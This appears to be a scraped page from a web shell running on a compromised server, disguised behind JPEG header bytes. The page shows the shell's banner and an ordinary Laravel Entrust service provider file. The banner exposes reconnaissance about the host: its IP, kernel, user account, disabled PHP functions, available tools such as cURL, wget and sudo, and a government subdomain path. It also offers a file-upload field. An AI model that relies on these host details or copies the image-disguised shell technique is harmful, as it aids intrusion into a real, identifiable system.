ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.188.81.3 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/zizaco/entrust/src/Entrust/ |
Upload File : |
<?php namespace Zizaco\Entrust; /** * This file is part of Entrust, * a role & permission management solution for Laravel. * * @license MIT * @package Zizaco\Entrust */ use Illuminate\Support\ServiceProvider; class EntrustServiceProvider extends ServiceProvider { /** * Indicates if loading of the provider is deferred. * * @var bool */ protected $defer = false; /** * Bootstrap the application events. * * @return void */ public function boot() { // Publish config files $this->publishes([ __DIR__.'/../config/config.php' => config_path('entrust.php'), ]); // Register commands $this->commands('command.entrust.migration'); // Register blade directives $this->bladeDirectives(); } /** * Register the service provider. * * @return void */ public function register() { $this->registerEntrust(); $this->registerCommands(); $this->mergeConfig(); } /** * Register the blade directives * * @return void */ private function bladeDirectives() { // Call to Entrust::hasRole \Blade::directive('role', function($expression) { return "<?php if (\\Entrust::hasRole({$expression})) : ?>"; }); \Blade::directive('endrole', function($expression) { return "<?php endif; // Entrust::hasRole ?>"; }); // Call to Entrust::can \Blade::directive('permission', function($expression) { return "<?php if (\\Entrust::can({$expression})) : ?>"; }); \Blade::directive('endpermission', function($expression) { return "<?php endif; // Entrust::can ?>"; }); // Call to Entrust::ability \Blade::directive('ability', function($expression) { return "<?php if (\\Entrust::ability({$expression})) : ?>"; }); \Blade::directive('endability', function($expression) { return "<?php endif; // Entrust::ability ?>"; }); } /** * Register the application bindings. * * @return void */ private function registerEntrust() { $this->app->bind('entrust', function ($app) { return new Entrust($app); }); $this->app->alias('entrust', 'Zizaco\Entrust\Entrust'); } /** * Register the artisan commands. * * @return void */ private function registerCommands() { $this->app->singleton('command.entrust.migration', function ($app) { return new MigrationCommand(); }); } /** * Merges user's and entrust's configs. * * @return void */ private function mergeConfig() { $this->mergeConfigFrom( __DIR__.'/../config/config.php', 'entrust' ); } /** * Get the services provided. * * @return array */ public function provides() { return [ 'command.entrust.migration' ]; } }